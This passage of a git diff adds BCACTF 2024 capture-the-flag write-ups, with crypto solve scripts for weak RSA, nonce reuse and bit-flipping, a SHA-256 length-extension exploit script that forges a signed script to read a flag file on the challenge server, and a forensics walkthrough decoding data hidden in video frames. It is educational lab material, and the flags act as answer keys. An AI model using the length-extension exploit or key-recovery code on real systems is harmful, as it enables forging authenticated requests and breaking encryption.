any([(i in letter.lower()) for i in BANNED_CHARS]) or any([ord(l)>120 for l in letter]) + +def end(): + print("Contraband letters found!\nMessages Deleted!") + exit() + +BANNED_CHARS = "gdvxfiyundmpnetkb/\\'\"~`!@#$%^&*.{},:;=0123456789#-_|? \t\n\r\x0b\x0c" +flag = open('flag.txt').read().strip() + +print("Welcome to the prison's mail center") + +msg = input("\nPlease enter your message: ") + +while msg != "": + if sanitize(msg): + end() + + try: + x = eval(msg) + if len(x) != len(flag): end() + print(x) + except Exception as e: + print(f'Error.') + + msg = input("\nPlease enter your message: ") \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/rad-be-damned/message.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/rad-be-damned/message.py new file mode 100644 index 0000000..baa098b --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/rad-be-damned/message.py @@ -0,0 +1,40 @@ +import random +def find_leftmost_set_bit(plaintext): + pos = 0 + while plaintext > 0: + plaintext = plaintext >> 1 + pos += 1 + return pos + +def encrypt(plaintext: str): + enc_plaintext = "" + + for letter in plaintext: + cp = int("10011", 2) + cp_length = cp.bit_length() + bin_letter, rem = ord(letter), ord(letter) * 2**(cp_length - 1) + while (rem.bit_length() >= cp_length): + first_pos = find_leftmost_set_bit(rem) + rem = rem ^ (cp << (first_pos - cp_length)) + enc_plaintext += format(bin_letter, "08b") + format(rem, "0" + f"{cp_length - 1}" + "b") + + return enc_plaintext + +def rad(text: str): + corrupted_str = "" + for ind in range(0, len(text), 12): + bit_mask = 2 ** (random.randint(0, 11)) + snippet = int(text[ind : ind + 12], base = 2) + rad_str = snippet ^ bit_mask + corrupted_str += format(rad_str, "012b") + return corrupted_str + +def main(): + with open('flag.txt') as f: + plaintext = f.read().strip() + enc_plaintext = encrypt(plaintext) + cor_text = rad(enc_plaintext) + print(cor_text) + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/rad-be-damned/output.txt b/content/ctf-writeups/bcactf_5.0/assets/scripts/rad-be-damned/output.txt new file mode 100644 index 0000000..64ec345 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/rad-be-damned/output.txt @@ -0,0 +1 @@ +011000001011010000111000011000111110011000111100011101001100001001100111011111110110011110010100011100010111011011111001010011011011010100011010001010011110010110010000001110111010001000011100011100011100010011111101010101101011110000110010001101100011011010100011001001010010001011011111011110000010001101100110010000110011011101110101010010111000011100011001010100011001001000111000001101010001011000100111010011000001011100011111111101010111010001001000001101000000001101011100010101101010101011011110011010100010010010010011010101010101010000010000001011011100011000011010010000111110001110011111011100011101010110001010010100100111001110011100011010101000011000101010001000101001001100011101111101100010010011100000010101111010011101101000011100100101001001000001010001111111010001001101111110100101011111001100 \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/rad-be-damned/solve.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/rad-be-damned/solve.py new file mode 100644 index 0000000..8a4aa9a --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/rad-be-damned/solve.py @@ -0,0 +1,43 @@ +m = '011000001011010000111000011000111110011000111100011101001100001001100111011111110110011110010100011100010111011011111001010011011011010100011010001010011110010110010000001110111010001000011100011100011100010011111101010101101011110000110010001101100011011010100011001001010010001011011111011110000010001101100110010000110011011101110101010010111000011100011001010100011001001000111000001101010001011000100111010011000001011100011111111101010111010001001000001101000000001101011100010101101010101011011110011010100010010010010011010101010101010000010000001011011100011000011010010000111110001110011111011100011101010110001010010100100111001110011100011010101000011000101010001000101001001100011101111101100010010011100000010101111010011101101000011100100101001001000001010001111111010001001101111110100101011111001100' +m = [m[i:i+12] for i in range(0,len(m),12)] +m = [[i[:8],i[8:]] for i in m] + +def find_leftmost_set_bit(plaintext): + pos = 0 + while plaintext > 0: + plaintext = plaintext >> 1 + pos += 1 + return pos + +def encrypt(plaintext: str): + enc_plaintext = "" + + for letter in plaintext: + cp = int("10011", 2) + cp_length = cp.bit_length() + bin_letter, rem = ord(letter), ord(letter) * 2**(cp_length - 1) + while (rem.bit_length() >= cp_length): + first_pos = find_leftmost_set_bit(rem) + rem = rem ^ (cp << (first_pos - cp_length)) + enc_plaintext += format(bin_letter, "08b") + format(rem, "0" + f"{cp_length - 1}" + "b") + + return enc_plaintext + +flag = '' +for i,j in m: + found = False + for xor in range(8): + k = encrypt(chr(int(i,2)^pow(2,xor))) + if (j==k[-4:]): + flag+=chr(int(i,2)^pow(2,xor)) + found=True + break + if found: + continue + for xor in range(4): + k = encrypt(chr(int(i,2))) + if ((int(j,2)^pow(2,xor))==int(k[-4:],2)): + flag+=chr(int(i,2)) + break + +print(flag) \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/superstitious2/solve.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/superstitious2/solve.py new file mode 100644 index 0000000..b479b93 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/superstitious2/solve.py @@ -0,0 +1,27 @@ +n = 550201148354755741271315125069984668413716061796183554308291706476140978529375848655819753667593579308959498512392008673328929157581219035186964125404507736120739215348759388064536447663960474781494820693212364523703341226714116205457869455356277737202439784607342540447463472816215050993875701429638490180199815506308698408730404219351173549572700738532419937183041379726568197333982735249868511771330859806268212026233242635600099895587053175025078998220267857284923478523586874031245098448804533507730432495577952519158565255345194711612376226297640371430160273971165373431548882970946865209008499974693758670929 +e = 65537 +c = 12785320910832143088122342957660384847883123024416376075086619647021969680401296902000223390419402987207599720081750892719692986089224687862496368722454869160470101334513312534671470957897816352186267364039566768347665078311312979099890672319750445450996125821736515659224070277556345919426352317110605563901547710417861311613471239486750428623317970117574821881877688142593093266784366282508041153548993479036139219677970329934829870592931817113498603787339747542136956697591131562660228145606363369396262955676629503331736406313979079546532031753085902491581634604928829965989997727970438591537519511620204387132 + +pqs = [[0,0]] +for i in range(512): + buf = [] + for p,q in pqs: + if (p*q)%pow(4,i+1) == n%pow(4,i+1): + buf.append([p,q]) + if ((p+pow(4,i))*q)%pow(4,i+1) == n%pow(4,i+1): + buf.append([p+pow(4,i),q]) + if (p*(q+pow(4,i)))%pow(4,i+1) == n%pow(4,i+1): + buf.append([p,q+pow(4,i)]) + if ((p+pow(4,i))*(q+pow(4,i)))%pow(4,i+1) == n%pow(4,i+1): + buf.append([p+pow(4,i),q+pow(4,i)]) + pqs = buf[::] + +for p,q in pqs: + if p*q==n: + break + +from Crypto.Util.number import * +phi = n-p-q+1 +d = pow(e,-1,phi) +m = pow(c,d,n) +print(long_to_bytes(m).decode()) \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/superstitious2/superstitious-2.py b/content/ctf-writeups/bcactf_5.0/assets/scripts/superstitious2/superstitious-2.py new file mode 100644 index 0000000..1b8232c --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/superstitious2/superstitious-2.py @@ -0,0 +1,14 @@ +from Crypto.Util.number import * +def myGetPrime(): + while True: + x = getRandomNBitInteger(1024) & ((1 << 1024) - 1)//3 + if isPrime(x): + return x +p = myGetPrime() +q = myGetPrime() +n = p * q +e = 65537 +message = open('flag.txt', 'rb') +m = bytes_to_long(message.read()) +c = pow(m, e, n) +open("superstitious-2.txt", "w").write(f"n = {n}\ne = {e}\nc = {c}") diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/superstitious2/superstitious-2.txt b/content/ctf-writeups/bcactf_5.0/assets/scripts/superstitious2/superstitious-2.txt new file mode 100644 index 0000000..e9a18df --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/superstitious2/superstitious-2.txt @@ -0,0 +1,3 @@ +n = 550201148354755741271315125069984668413716061796183554308291706476140978529375848655819753667593579308959498512392008673328929157581219035186964125404507736120739215348759388064536447663960474781494820693212364523703341226714116205457869455356277737202439784607342540447463472816215050993875701429638490180199815506308698408730404219351173549572700738532419937183041379726568197333982735249868511771330859806268212026233242635600099895587053175025078998220267857284923478523586874031245098448804533507730432495577952519158565255345194711612376226297640371430160273971165373431548882970946865209008499974693758670929 +e = 65537 +c = 12785320910832143088122342957660384847883123024416376075086619647021969680401296902000223390419402987207599720081750892719692986089224687862496368722454869160470101334513312534671470957897816352186267364039566768347665078311312979099890672319750445450996125821736515659224070277556345919426352317110605563901547710417861311613471239486750428623317970117574821881877688142593093266784366282508041153548993479036139219677970329934829870592931817113498603787339747542136956697591131562660228145606363369396262955676629503331736406313979079546532031753085902491581634604928829965989997727970438591537519511620204387132 \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/crypto.md b/content/ctf-writeups/bcactf_5.0/crypto.md new file mode 100644 index 0000000..7df7d50 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/crypto.md @@ -0,0 +1,335 @@ +--- +layout: post +title: BCACTF 2024 | Crypto-Writeups +date: 2024-06-12 +tags: ['BCACTF_5.0'] +math: True +--- + +# Crypto / Vinegar Times 3 +25 points - 338 solves - By Sylvia Lee and June Lee + +## Source +``` +We can't speak French and just say what we see. +We also don't know what underscores are add them yourself. +put ONLY the final decrypted cipher in bcactf{}, no intermediate steps. + +key - vinegar + +cipher 0 - mmqaonv +cipher 1 - seooizmt +cipher 2 - bdoloeinbdjmmyg <- THIS ONE +``` + +## Decryption + +- As the name of the challenge suggests with slight wordplay, the cipher used here is Vigenere cipher +- Using `vinegar` as key to decrypt `cipher 0`, we get `redwine` as plaintext. +- So we use `redwine` as the new key to decrypt `cipher 1`, we get `balsamic` as plaintext. +- So we then use `balsamic` as key to decrypt `cipher 2` to get the final plaintext `addtosaladyummy`. +- Then we add underscores and "bcactf{}" to form the flag. + +## Flag +- The flag is `bcactf{add_to_salad_yummy}` + + + +# Crypto / Time Skip +50 points - 313 solves - By Jeremy Lee + +## Source + +- One of our problem writers got sent back in time! We found a piece a very very old piece of parchment where he disappeared, alongside a long cylinder. See if you can uncover his flag! + +- parchment.txt: + `hsggna0stiaeaetteyc4ehvdatyporwtyseefregrstaf_etposruouoy{qnirroiybrbs5edmothssavetc8hebhwuibihh72eyaoepmlvoet9lobulpkyenf4xpulsloinmelllisyassnousa31mebneedtctg_}eeedeboghbihpatesyyfolus1lnhnooeliotb5ebidfueonnactayseyl` + +## Decryption +- The Description said this ciphertext was found way back in time, which leads us to Caeser ciphers +- By simply using the Identify Cipher feature at [dcode.fr](https://www.dcode.fr/identification-chiffrement) it predicts this to be [Caeser's Square CIpher](https://www.dcode.fr/chiffre-carre-de-cesar) +- We then put the ciphertext and run a bruteforce with maintain punctuation and spaces on so it can detect underscores and words better to get the flag. +- Output : `heyguysimkindoflostprobablynotgoingtosurvivemuchlongertobehonestbutanywaystheflagisbcactf{5c7t4l3_h15t04y_qe829xl1}pleasesendhelpimeanbythetimeyouseethisiveprobablybeendeadforthousandsofyearsohwellseeyoulaterisupposebyee_` + +## Flag +- The flag is `bcactf{5c7t4l3_h15t04y_qe829xl1}` + + + +# Crypto / RSAEncrypter +100 points - 224 solves - By Zevi + +## Source +- I made an rsa encrypter to send my messages but it seems to be inconsistent... +- Netcat Links: `nc challs.bcactf.com 31452` +### Server Files +- [rsa_encrypter.py](./assets/scripts/RSAEncrypter/rsa_encrypter.py) + +## Encryption +- There is an `encode` function that takes the flag as `plaintext`, generates random `p` and `q` and encrypts the flag using RSA with `e = 3`. It returns the `ciphertext` and `modulus`. +- The server lets us use the `encode` function multiple times, so we can get multiple values of `ciphertext` and `modulus`. + +## Decryption +### Scripts +- [solve.py](./assets/scripts/RSAEncrypter/solve.py) +### Explanation +- So, after getting 3 results of `encode` we use Chinese Remainder Theorem to get `m^3^ mod (n1*n2*n3)` which is `m^3^` itself as `n1*n2*n3` is 3072 bits long, way bigger than `m^3^`. +- Now that we have `m^3^` we can simply find its cube root to get the `plaintext` + +## Flag +- The flag is `bcactf{those_were_some_rather_large_numbersosvhb9wrp8ghed}` + + + +# Crypto / Encryptor Shop +50 points - 189 solves - By Mudasir + +## Source +- After realizing how insecure the systems of many companies are (they're always getting hacked), I decided to start offering Encryption as a Service (EaaS). With such a strong guarantee of security, I'll even give you the source code AND my encrypted super secret flag. +- Netcat Links: `nc challs.bcactf.com 31704` +### Server Files +- [server.py](./assets/scripts/Encryptor-Shop/server.py) + +## Encryption +- The server generates 3 large primes of order 1024 bits `p,q,r`. +- It initially uses `p` and `q` for the RSA encryption and lets us encrypt 3 messages. +- It returns `c`, `n` and `e`, out of which we only have use for `n` which is `p*q`. +- Then it chooses `p` and `r` for RSA and encrypts the flag for us. It returns `c`, `n` and `e`. + +## Decryption +### Server Files +- [solve.py](./assets/scripts/Encryptor-Shop/solve.py) +### Explanation +- Since we have `p*q` and now `p*r` , we can use gcd to get the prime `p`. +- Now we can extract `r` from the second modulus and solve the RSA since we have both primes. + +## Flag +- The flag is `bcactf{w0w_@lg3br@_d3in48uth934r}` + + + +# Crypto / Cha-Cha-Slide +100 points - 134 solves - By Thomas + +## Source +- I made this cool service that lets you protect your secrets with state-of-the-art encryption. It's so secure that we don't even tell you the key we used to encrypt your message! +- Netcat Link: `nc challs.bcactf.com 31594` +### Server Files +- [server.py](./assets/scripts/cha-cha-slide/server.py) + +## Encryption +- The server is using `ChaCha20` for enryption which is a stream cipher. +- `ChaCha20` generates a stream of bytes from the `key` and `nonce`. + - It creates a counter using the `nonce` and then encrypts it using the `key` to form the `bytestream`. +- Then it XORs the `bytestream` with the `plaintext` bytes to get the `ciphertext`. + +- As the `key` and `nonce` remain the same in an instance of the netcat, the stream of bytes will remain the same in every encryption. +- Hence the `plaintext` is xored with the same bytes every time. +- The server allows us to encrypt our own `plaintext` once, so we can extract the `xorkey` using the `plaintext` and `ciphertext` we recieve. +- The server gives us the encrypted secret message so we can extract the secret message using the `xorkey`, which we have to submit to get the flag. + +## Decryption +### Scripts +- [solve.py](./assets/scripts/cha-cha-slide/solve.py) +### Explanation +- First we recieve the encrypted secret message. +- Then we send as many '\x00' bytes as the length of the ciphertext. +- So the ciphertext it returns will be the `xorkey` itself. +- Then we xor the original ciphertext with the `xorkey` to get the secret message and submit it to get the flag. + +## Flag +- The flag is `bcactf{b3_C4rEFu1_wItH_crypT0Gr4phy_7d12be3b}` + + + +# Crypto / rad-be-damned +150 points - 100 solves - By Nikhil + +## Source +- My friend seems to be communicating something but I can't make out anything. Why do we live so close to Chernobyl anyways? +### Server Files +- [message.py](./assets/scripts/rad-be-damned/message.py) +- [output.txt](./assets/scripts/rad-be-damned/output.txt) + +## Encryption +- The script reads the flag from a file and uses it as `plaintext` +- It then encrypts the flag using the `encrypt` function which is a stream cipher as it encrypts one letter at a time. + - This encryption works on each byte of the `plaintext` separately and adds 12 bits to the `enc_plaintext` per byte. + - Out of which , the first 8 bits is the byte itself and then next 4 bits is the result of some bitwise operations. +- It then modifies the `enc_plaintext` using the `rad` function. + - The `rad` fucntions simply goes through every block of 12 bits and flips a random bit in them. + +## Decryption +### Scripts +- [solve.py](./assets/scripts/rad-be-damned/solve.py) +### Explanation +- As this is a stream cipher we don't need to reverse or understand the `encrypt` function as we could just brute the byte. +- First we work on the `rad` function which is randomly flipping one bit. + - We split the ciphertext from [output.txt](./assets/scripts/rad-be-damned/output.txt) into blocks of 12 bits and then work on them separately. + - For every block , `rad` function could have either flipped one of the first 8 bits which is the byte itself or one of the last 4 bits which acts as a `checksum`. + - First we loop for the first 8 bytes and flipping one bit in an iteration, then encrypting the byte formed by the first 8 bits using the `encrypt` function to get its result. + - If the last 4 bits of the encryption result matches with the `checksum`, then that byte is the actual byte from the `plaintext`. + - If none of the 8 iterations match then we iterate over the last 4 bits by flipping one bit in each iteration. + - If the result of encryption of the byte formed using the first 8 bits matches with the new `checksum` after flipping the bit then the first 8 bits formed the actual byte for the `plaintext`. +- This way we can get the bytes of the plaintext one byte at a time using a simple brute. + +## Flag +- The flag is `bcactf{yumMY-y311OWC4ke-x7CwKqQc5fLquE51V-jMUA-aG9sYS1jb21vLWVzdGFz}` + + + +# Crypto / Superstitious-2 +150 points - 46 solves - By Marvin + +## Source +- My client is a bit picky with the primes they are willing to use... +### Server Files +- [superstitious-2.py](./assets/scripts/superstitious2/superstitious-2.py) +- [superstitious-2.txt](./assets/scripts/superstitious2/superstitious-2.txt) + +## Encryption +- The script generates 2 primes p and q using the mask `((1<<1024)-1)//3` which is `0b01010101....` +- So every alternate bit of p and q are 0. +- Since we have `n`, we can check the validity of `p` and `q` upto `k` bits as: + - Let `p_` be the last `k` bits of `p` and `q_` be the last `k` bits of `q` and `n_` be the last `k` bits of `n` + - Then `(p_*q_)%pow(2,k) == n_`, i.e. the last `k` bits of `p*q` should match the last `k` bits of `n`. + +## Decryption +### Scripts +- [solve.py](./assets/scripts/superstitious2/solve.py) +### Explanation +- So we start will `p,q = 0,0`. +- Then we run a loop guess the next 2 bits in each iteration. + - As we know every alternate bit is `0` , so the only possibility for the 2 bits are `00` and `01` + - For every possibility of the pair `p,q` that we have saved uptil the current 2 bytes: + - We form the next set of possible `p_,q_` by adding `00` and `01` bits to `p` and `q` + - Then we check if that `p_,q_` value pair is valid by using the condition `(p_*q_)%pow(2,k) == n_` + - If it is valid we add it to the new set of possible `p,q` for the next iteration. +- Since the primes are 1024 bits long we will run this loop 512 times to get all possible `p,q` pairs in the end. +- Then we check for every such possibility if `p*q == n` and one of them will satisfy. +- Now that we have `p` and `q` we can decrypt the RSA in the general way. + +## Flag +- The flag is `bcactf{l4zy_cHall3nG3_WRITinG_f8b335319e464}` + +# crypto/Cinnamon Dynamics writeup 🩸 +author: Thomas + +## Challenge Description +>Cinnamon Dynamics, an innovative technology company, provides a service for the public to execute short scripts to query some limited information about the company. To combat abuse, they've instated a requirement for all scripts to be approved by a company employee before they can be executed. Approved scripts are granted a "script token" that allows them to be executed an indefinite amount of times, so long as the script is not modified. Unfortunately, it seems that malicious actors have managed to circumvent the security system... +**Resources**: +Web servers: challs.bcactf.com:31077 +Static resources: [server.js](./assets/scripts/cinamon/server.js) + +## Solution + +I also managed to get the first blood in this challenge \:D +Let's start analysing the code. + +```js +... +const secretKey = readFileSync('secret-key.txt', 'utf-8') +... +const safeCompare = (a, b) => { + a = Buffer.from(a, 'utf-8') + b = Buffer.from(b, 'utf-8') + + return a.length === b.length && timingSafeEqual(a, b) +} + +app.post('/execute', (req, res) => { + const { token, script } = req.body + ... + const hash = createHash('sha256') + .update(secretKey) + .update(Buffer.from(script.replaceAll('\r\n', '\n'), 'binary')) + + if (!safeCompare(hash.digest('hex'), token)) { + return res.render('execute', { + error: 'Script token is invalid! ' + + 'Contact a Cinnamon Dynamics employee to get your script ' + + 'approved and receive a valid token for it.' + }) + } + ... +}) +``` + +$\text{Observation 1.}$ The server loads up a $\texttt{secretKey}$ from a local file. + +$\text{Observation 2.}$ It compares the token ($\text{sha256}$ hash) of the $\texttt{script}$ we provide with the hash of $\texttt{secretKey} \mathbin\Vert \texttt{script}$. Where, $\mathbin\Vert$ denotes string concatenation. Also, the hashes are compared using $\texttt{timingSafeEqual}$, which makes it safe against timing attacks. + +These observations by themselves don't hint a lot at anything, so let's look at the website and soon enough we find that it has an unfinished script loaded that we can load and get the token for. + +![Image of the website](./assets/images/cinamon/website.png) + +This immidiately gives it away that the server is prone to [Length Extension Attack](https://en.wikipedia.org/wiki/Length_extension_attack). + +We have a known $\texttt{script}$ and a valid $\texttt{token}$ corresponding to it. Just by using this information, we can generate a $\texttt{script} \mathbin\Vert \texttt{payload}$ with a valid token even without the knowing the $\texttt{secretKey}$. + +More on this here: +- [Breaking SHA256: length extension attacks in practice (with Go)](https://kerkour.com/sha256-length-extension-attacks) +- [Length extension attack (with Rust)](https://github.com/marcelo140/length-extension) + +There is a catch though. For using this attack, we must know the the exact length of the key. Since we have no way of getting that from the server, we'll just brute force our way till we get a valid response. + +I tried implementing these by myself in python, but found out midway that [this](https://github.com/stephenbradshaw/hlextend) exists. After some testing and trial and error by runnning the server locally, I came up with this final script: + +## Script +```py +import requests +import hlextend # https://github.com/stephenbradshaw/hlextend + +# the unfinished script. +# this works because it +# has a comment in its end +# so adding any bytes won't +# affect the flow of the script +SCRIPT = rb'''const file = await Deno.readTextFile('sales.txt') + +const sales = file.split('\n') + +console.log('Number of sales:', sales.length) + +// TODO: finish this script''' +TOKEN = 'd649728e5f43a2cf8c6ec863bb48328a060c2f1ddb91976d6d138eac8ab91684' + +# notice the newline in the beginning +# this is to get out of the // comment +PAYLOAD = rb''' +console.log(await Deno.readTextFile("flag.txt"));''' + +# the key length I found after running this for a while was 31 +key_len = 1 +sha2 = hlextend.new('sha256') +while True: + + NEW_SCRIPT = sha2.extend(PAYLOAD, SCRIPT, key_len, TOKEN) + NEW_TOKEN = sha2.hexdigest() + + data = { + 'token': NEW_TOKEN, + 'script': NEW_SCRIPT.decode('raw_unicode_escape'), + } + + # response = requests.post('http://localhost:5500', data=data) + response = requests.post('http://challs.bcactf.com:31106/execute', data=data) + + if not 'invalid!' in response.text.lower(): + print(f'{key_len=}') + print(response.text) + # bcactf{Th1S_I5_JuST_4_l1TtLe_t0o_1N5ECur3_95af828f32} + break + + # if invalid, try with the next length. + key_len += 1 +``` + +##### $\texttt{.decode(`raw\_unicode\_escape')}$ +Since we are using the length extension attack, we have to use some $\text{NULL bytes}$ and some other $\text{bytes}$ for padding. Here is what the final script payload actually looks like: + +`b'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\xe0\nconsole.log(await Deno.readTextFile("flag.txt"));'` + +Some of these have $\text{ASCII}$ value of more that $128$ which doesn't allow the conversion of the new script to string using $\texttt{.decode()}$ and if we pass these $\text{bytes}$ directly to $\texttt{requests}$ module's payload, it will $\text{HTMLencode}$ them and convert to string before sending it to the server. And since the server reads strings only, this will immidiately invalidate the script. So we can't send $\text{bytes}$ and also can't encode the padding information in strings. Therefore, we will have to use $\texttt{.decode(`raw\_unicode\_escape')}$ this just works in the opposite way we use raw strings in python using the `r` character. + +**Flag**: `bcactf{Th1S_I5_JuST_4_l1TtLe_t0o_1N5ECur3_95af828f32}` \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/forensics.md b/content/ctf-writeups/bcactf_5.0/forensics.md new file mode 100644 index 0000000..c4d8e24 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/forensics.md @@ -0,0 +1,371 @@ +--- +layout: post +title: BCACTF 2024 | Forensics-Writeups +date: 2024-06-12 +tags: ['BCACTF_5.0'] +math: True +--- + +# Forensic/Static-writeup + +## Challenge Description + +![Image 1](./assets/images/forensics/static/desc.png) + +We have received a MP4 file and the MD5 of a file. + +## Solution + +As the hints suggested, I began searching for the metadata. + +```bash +$ exiftool static.mp4 +Compressor Name : Lavc60.31.102 libx264rgb +Encoder : StaticMaker https://shorturl.at/AUKZm +``` + +Two things seemed sus to me: the Compressor and the Encoder. I then checked the above link for StaticMaker and realized they provided a documentation file with information about the StaticMaker software. + +``` +The StaticMaker β„’ utility converts any binary file into a video, suitable for use in … some application somewhere, probably. +The default configuration is width=256, height=256. + +The program works by: +1. Compressing the data +2. Padding to a size that is a multiple of (6*width*height) bits +3. Splitting the data into β€œsubframes” of size (2*width*height) bits +4. Writes data to video frames, which each triplet of three consecutive subframes are written to the red, green, and blue channels of one frame, respectively + Data written in row-major order + 2 bits per pixel per channel +THE SOFTWARE IS PROVIDED β€œAS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +``` +WorkFlow:- +1. Extraction of Frames: + Utilizes FFmpeg to extract frames from the video. + +2. Extraction of Pixel Data: + Decodes the RGB channels of each frame. + Extracts 2 bits per pixel per channel + +3. Reconstruction of Binary Data: + Combines the extracted bits into a single stream. + Reconstructs the original binary data by converting the bits back into bytes. + +For Extraction of Frames:- + +`$ ffmpeg -i static.mp4 frame_%04d.png` + +Using ffmpeg, we extracted 72 frames in PNG format from the MP4 video. + +![Image 2](./assets/images/forensics/static/frames.png) + +Next, I wrote a Python script to accomplish steps 2 and 3. + +```python +import hashlib +from PIL import Image +import numpy as np + +def decode_frames(frame_prefix, frame_count, width=256, height=256): + channels = ['R', 'G', 'B'] + bit_position = 4 # Bit position(4or6) chosen based on successful MD5 checksum match, were taken bitpositions [2,4,6,8] + + data_bits = [] + for frame_idx in range(1, frame_count + 1): + frame_path = f"{frame_prefix}{frame_idx:04d}.png" + frame = Image.open(frame_path) + frame = frame.convert("RGB") + pixels = np.array(frame) + + # Extract the specified bits from each color channel + r_channel = (pixels[:, :, 0] & (0b11 << bit_position)) >> bit_position + g_channel = (pixels[:, :, 1] & (0b11 << bit_position)) >> bit_position + b_channel = (pixels[:, :, 2] & (0b11 << bit_position)) >> bit_position + + # Flatten the channels and convert to bit strings + for bits in r_channel.flatten(): + data_bits.append(format(bits, '02b')) + for bits in g_channel.flatten(): + data_bits.append(format(bits, '02b')) + for bits in b_channel.flatten(): + data_bits.append(format(bits, '02b')) + return ''.join(data_bits) + +def check_padding(data_bits, width, height): + size = 6 * width * height + print("The size is", size) + actual_size = len(data_bits) + print('The actual size is ', actual_size) + if actual_size % size == 0: + print("Multiple of size") + # No padding to remove + return data_bits # size was already in multiple so need for removing the padding. + + # Calculate the number of excess bits to remove + padding_size = actual_size % size + + # Remove the excess bits + data_bits = data_bits[:-padding_size] + return data_bits + +def bits_to_bytes(data_bits): + byte_arr = bytearray() + for i in range(0, len(data_bits), 8): + byte = data_bits[i:i+8] + byte_arr.append(int(byte, 2)) + return bytes(byte_arr) + +def calculate_md5(data): + md5 = hashlib.md5(data).hexdigest() + return md5 + +# Parameters +frame_prefix = 'frame_' +frame_count = 72 # Total number of frames +width = 256 +height = 256 + +# Decode frames +data_bits = decode_frames(frame_prefix, frame_count, width, height) + +# Checking padding +data_bits = check_padding(data_bits, width, height) + +# Convert bits to bytes +compressed_data = bits_to_bytes(data_bits) + +output_path = 'extracted_data.bin' +with open(output_path, 'wb') as f: + f.write(compressed_data) +print("Extracted data saved.") + +# Calculate and print MD5 checksum +calculated_md5 = calculate_md5(compressed_data) +print(f"MD5 checksum of extracted data after removing padding: {calculated_md5}") + +``` +The extracted bin matches the MD5 checksum provided in the description. As I began analyzing the file, I employed several tools. When I used binwalk, it indicated the presence of Zlib compressed data, which I then extracted. +```bash +$ binwalk -e extracted_data.bin + +DECIMAL HEXADECIMAL DESCRIPTION +-------------------------------------------------------------------------------- +40522 0x9E4A Zlib compressed data, default compression + +``` + +There are two approaches: one is quick and easy, while the other is little time-consuming. +This is the quick and easy method for lazy people like me to get the flag. + +```bash +g0j0:~/Pictures/_extracted_data.bin.extracted$ ls +9E4A 9E4A.zlib +g0j0:~/Pictures/_extracted_data.bin.extracted$ strings * | grep bcactf{ +bootpc[[ --bootfile %bootfile%]] --dev %iface%[[ --server %server%]][[ --hwaddr %hwaddr%]] --returniffail --serverbcast +can't enable bcast on ARP socket +bcache +sbcast +nulsohstxetxeotenqackbel bs ht nl vt ff cr so sidledc1dc2dc3dc4naksynetbcan emsubesc fs gs rs us sp +http-alt 8080/tcp webcache # WWW caching service +TTJvQS8TUoKU1xrBeKJR3Stwbbca+few4GeXVtt8YVMJAygCQMez2P2ccGrGKMOF +bcactf{imag3_PROc3sSINg_yaY_2ea104d700c1a8} +``` +Another one is to do it proper way:- + +```bash +$ zlib-flate -uncompress < 9E4A.zlib > output +$ exiftool output +$ file output +output: POSIX tar archive +``` +I began extracting the tar archive once we obtained it. + +```bash +$ tar -xf output +$ ls +bin dev etc home lib out +``` +We got some folders let's check out + +```bash +$ tree . +. +β”œβ”€β”€ bin +β”‚ β”œβ”€β”€ arch -> /bin/busybox +β”‚ β”œβ”€β”€ ash -> /bin/busybox +β”‚ β”œβ”€β”€ base64 -> /bin/busybox +β”‚ β”œβ”€β”€ bbconfig -> /bin/busybox +... +β”œβ”€β”€ home +β”‚ └── admin +β”‚ └── Documents +β”‚ β”œβ”€β”€ not_social_security_number.txt +β”‚ └── social_security_number.txt +└── lib + β”œβ”€β”€ apk + β”‚ β”œβ”€β”€ db + β”‚ β”‚ β”œβ”€β”€ installed + β”‚ β”‚ β”œβ”€β”€ lock + β”‚ β”‚ β”œβ”€β”€ scripts.tar + β”‚ β”‚ └── triggers + β”‚ └── exec + β”œβ”€β”€ firmware + β”œβ”€β”€ ld-musl-x86_64.so.1 + β”œβ”€β”€ libapk.so.2.14.0 + β”œβ”€β”€ libc.musl-x86_64.so.1 -> ld-musl-x86_64.so.1 + └── libcrypto.so.3 + +45 directories, 145 files +``` +I began searching for the text files in the admin directories. + +```bash +~/home/admin/Documents$ cat not_social_security_number.txt +bcactf{imag3_PROc3sSINg_yaY_2ea104d700c1a8} +``` +Hooray!!! We captured the flag just 3 minutes before the CTF ended. ;p + +## Flag + +`bcactf{imag3_PROc3sSINg_yaY_2ea104d700c1a8}` + +# Forensic/Mysterious Melody-writeup + +## Challenge Description + +![Image 1](./assets/images/forensics/melody/desc.png) + +We have received a WAV file. + +## Solution + +So, I opened the WAV file using Sonic Visualizer software. Initially, I was unsure of what to do after examining the Spectrogram. Then, I analyzed the melody range spectrogram and the peak frequency spectrogram. + +``` +You can add the Spectrogram, Melody Range Spectrogram, and Peak Frequency Spectrogram from the Pane menu. +``` +![Image 